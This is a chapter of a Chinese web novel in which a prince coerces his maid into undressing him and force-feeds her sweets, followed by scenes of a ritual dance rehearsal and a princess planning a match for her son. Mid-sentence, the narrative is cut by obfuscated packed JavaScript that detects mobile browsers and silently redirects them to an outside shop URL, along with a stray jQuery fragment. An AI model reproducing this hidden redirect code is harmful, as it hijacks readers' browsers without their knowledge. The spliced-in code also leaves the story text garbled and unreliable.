47. 第四十七章
作品:《掌中刺》 “回了官舍?”
“嗯。”
余长应道。
月澜坐了下来,呆呆看向空落落的主位。
日日勤勉劳作,偶尔得闲,竟一时手足无措。
洗了个热水澡,早早躺回榻上,盯着帐顶,
大致…去见婉姐姐了吧。
想起自己的大哥哥高沅,一成婚便再难见上一面,满心满眼都只有嫂嫂。
纵然燕王殿下如此忙碌,想必心里肯定也惦记着府里的新妇。
眼前闪过崔婉扬顾盼生姿的笑颜和动人心魄的梅色长裙。
渐渐地,高沅夫妇依偎在一起的身影变成刘巽与崔婉扬。
“倒也般配。”
月澜闷声低念,转了个身。
可是,心里却越来越空。
大约…是又饿了。
揉了揉肚皮,今夜刘巽不在,自然是没有夜宵。
将头脸蒙入被子,强行让自己闭上眼。
两个时辰后。
翻了第一千次身,凄寂的夜里只听得鸟雀怪叫。
忽然,响起军靴踏在冻土之上的铿锵声。
她嚯地坐起身。
“夜宵!”
连忙穿好衣裙,碎步跑至外间,
“殿下——”
刘巽的肩上盈满风霜,脚步未停,侧身掠过满脸期冀的小姑娘。
见他不理自己,月澜大着胆子尾随上他冷然的背影。
谁料,刘巽径直步入自己寝帐。
月澜的脚步骤停,直挺挺愣在帐帘之前。
“进来。”
她捏紧袖口,硬着头皮入内。
“殿下,有何吩咐?”
刘巽背对起她,
“更衣。”
“殿下,要不要唤余长过来?”
除了卸甲,从未给他更过衣,怕又惹了他的不适。
刘巽转过身,黑眸盯得她发寒。
“是…”
缓缓靠近眼前的冰山,鼻尖灌入凛冽冷杉香。
她指尖勾起,轻触带钩。
咔嗒。
革带松开,接着她将双臂环起,一寸寸褪下玄色外袍。
冷杉香愈发浓烈。
眼皮微微一跳,面前的素色暗纹里衣,似乎……
颇为眼熟。
却又记不清在哪里见过。
她摇了摇头,按下思绪,
“殿下,可要换上夜居常服?”
“嗯。”
展开一旁的常服,自背后向上套起。
不出意料,还是遇到了坎儿。
他的身形实在太高,几次尝试都无法将衣袍搭上他的肩头。
哗啦。
一息冷风带起她耳边的丝缕鬓发。
刘巽双臂一动,衣袍顺利爬上身子,服服帖帖。
月澜抿了抿唇,转到他的面前。
重新系上革带,结果玉钩就是扣不上。
许是为了缓解尴尬,她脱口而出,
“殿下,婉姐姐可还好?”
没有回答。
气氛似乎愈发凝滞。
冰冷的手指拨开她的小手,刘巽扣好衣带,冷冷扫过不知所措的呆鹌鹑。
他坐回主位,开始处理堆积如山的公务。
习惯了夜夜侍立一侧,此刻的月澜,不再有方才的辗转反侧。
双目只紧紧盯着手中的墨块,一圈圈晕开。
半个时辰后,看着浓厚的墨汁,她满意地退至后方,跪坐下来。
不料,一闲下来,饥饿又卷土重来。
腹中不时传来弯弯绕绕的尖叫。
她紧捂下腹,不时偷偷喵一眼刘巽的动静。
想着等他批完手中的这一卷,就提议去膳所看看。
只要能睡前填饱肚子,早吃晚吃一会儿都无妨。
终于,刘巽将书简一阖。
她鼓足勇气,挪上前,小心翼翼道:
“殿下,要不要…月澜去给您拿夜宵?”
说罢,低头等待他发话。
刘巽重新拿起一卷竹简,侧过身,用竹简抬起她的下颌。
自上而下扫过她轻颤的眼睫,注视半晌,才道:
“去。”
月澜脸上藏不住的欣喜,一溜烟跑了出去。
不一会儿,双手抱着一个大食盒。
深更半夜,也就只有刘巽的膳所帐才会准备饭食。
像他们这些伺候的人,每日也就到点的三顿。
心满意足,脚步也轻快不少。
放下食盒,退到主位之后。
目光在他与食盒之间来回切换,只等他歇下后,再偷溜出来吃个够。
嘴角不自觉地翘了老高。
想到甜腻的点心,腹中轰鸣一波强过一波,呈排山倒海之势。
啪——
刘巽重重扔下书简,黑脸瞪向她。
月澜猛地坐直,
“怎…么了,殿下?”
对上他的目光,她有些不知所措,勉强扯出一抹笑。
“吃。”
刘巽淡淡道,他两指捏住茶杯,斜倚在座上,目光转向下方的巨大食盒。
她一脸疑惑,
“殿下可是赏月澜吃食?”
刘巽饮了口热茶,
“高月澜,本王的帐下,就快饿死人了。”
月澜耳根子唰地红成心肝儿。
“不准磨蹭。”
指节轻叩桌案,凉凉看着她。
如此,她便只好应下,
“谢殿下。”
将食盒打开,取出一碟豌豆黄。
到底是小姑娘,面皮薄,张口之际又道:
“月澜失礼了…”
豌豆黄入口绵软,厚重又不失轻盈,触及舌尖便瞬间化开,只留满口清香。
只三块,她便止住了口。
刘巽方才批阅公务的冷冽荡然无存,只懒懒道:
“继续。”
“殿下,月澜已经不饿了。”
他剑眉微挑,
“不听话?”
迫于威压,月澜只好听令,继续捻出一块豌豆黄。
一连数块,刘巽只道继续,她只得硬吃。
先前的香甜,早已变了味儿,仿佛五脏六腑都要被糊满。
喉咙渐渐收紧。
忽然,她本想换口气,却反被糕点粉末呛得脸色紫红。
“咳咳咳……”
她用力拍打着胸口。
刘巽则拿起茶杯,一步步逼近。
他俯下身,将茶杯缓缓对向她唇边,指节轻抬,微苦的茶水滑进她的喉咙,将哽住的甜,尽数冲了下去。
月澜松了口气,脸色渐渐恢复正常。
向来淡漠的声音,头一遭地带了两分戏谑,
“糕点甜腻,须得配着茶水才行。”
月澜一脸痛苦地点点头,做势就要关上食盒。
却不料,手腕被制住。
他坐至月澜身侧,又从中取出一碟蜜饵,
“张嘴。”
她嗫嚅道:
“殿下,我…真的吃不下…”
黏腻的糕点却已然沾上唇珠,她紧抿双唇,闭眼不敢看刘巽。
黑眸一沉,钳住她的下颌。
月澜吃痛,不甘心地张开嘴,蜜饵顺势溜入口舌。
肚皮急剧鼓胀,硬如鼓面。
只觉得嗓子眼儿都被堵了住,眼圈渐渐发红。
恍惚间又想起他几日前的命
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17078845|192821||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
令——不准哭。
生生将泪珠憋了回去。
刘巽微不可察地勾起唇,收回手中的最后一颗蜜饵。
将杯中仅剩的最后一口茶水灌入颤抖的小嘴,他站起身,居高临下,
“可饱了?”
被好生折磨了一通,月澜既害怕,又委屈,还生了一分无处可发的愤怒。
她瘫坐在原地,也不答话,只将头偏到一边。
忽地,脖颈处一凉,竟被他生生提了起来。
“说话。”
小脸横在面前,他的鼻腔里,沁香与过分的甜腻交织。
脖颈处吃痛,月澜敛了脾性,无力地点点头,
“嗯。”
刘巽冷冷一笑,放下她,转身回座,重新将竹简打开了来。
翌日。
余长晨起洒扫,他眉头紧蹙,自言自语,
“怎的这般浓重的甜香……”
看到大开的食盒,里面还有零零散散的糕点。
他费力地挠挠头,
“大王,竟吃了……这么多?”
枯树下。
三只狸奴嬉闹玩耍,攀着树干上下飞窜,惊得老鸹大骂不止,四处纷飞。
卜冬儿身披宽大的黑袍,头簪鸦羽,在急促的铃音下飞速旋转。
银盘脸分外庄重,紧绷到连脸肉也抖得缓了些。
只可惜,中间的一跳。依旧没能带起浑圆的身躯。
只给冻土上留了两道浅坑。
一舞终了。
他气喘吁吁,手中羽扇晃向月澜。
“怎么样?月姐姐,可及得上阿翁?”
月澜双手捧脸,微微一笑,
“八分。”
卜冬儿泄了气,闷闷道:
“啊…唉…,就快到冬祭了,可怎么办,到时候那么多人,我不想给阿翁丢脸啊——”
他怔怔地望向天。
忽又收了脖颈,道:
“月姐姐,我听阿翁说,静娴公主也会来呢。静娴公主最是看中冬祭,若表现得好,一定会被重重赏赐。要是能得了赏赐……”
他似是在做美梦,想了半晌,
“月姐姐,我给你买好多好多新裙子,好不好?看你前些日子一直穿着那件旧衣,都破了。”
月澜揉了揉他滚圆的脑袋,笑道:
“多谢你的美意,不过,现下倒是不缺衣裙。好啦,再去练一遍呢?”
卜冬儿叹口气,撑起上半身。突然想起,今日还没有给她果仁儿,连忙掏出布包。
“月姐姐,你吃,差点忘了。”
月澜却推了回去,直摇头,
“我没胃口……”
官舍。
一道雍容华贵的绛紫身影端坐于案前,裴谦小心侍立一旁,殷勤地递上热茶,笑眯眯道:
“阿娘,用茶。”
静娴公主刘婀睨了眼长高了些的儿子,笑道:
“就你小子会来事儿。”
她饮了口热茶,笑意却又淡了下去,目光看向庭院,
“公衡昨日,只用了晚膳,便又匆匆而归。唉,真是让人操心。我听说,他前些日子纳了侍妾,还以为是开了窍,怎的连个整夜都不过,就又钻回营里去。”
裴谦揉着脑袋,嚷道:
“阿娘你管得也忒多了些,兄长这样子又不是一天两天,你可别惹他心烦咯。”
刘婀狠狠捶了一把儿子,嗔道:
“什么叫我惹他心烦,都十八了还不急?你爹,十八都快有你和你阿姊了!”
刘婀絮絮叨叨不停,裴谦双眼放空,痴痴盯着大梁。
末了,她放下茶,正色道:
“此次都蓟下来不少贵女,务必要给你兄长定下正妻人选。”

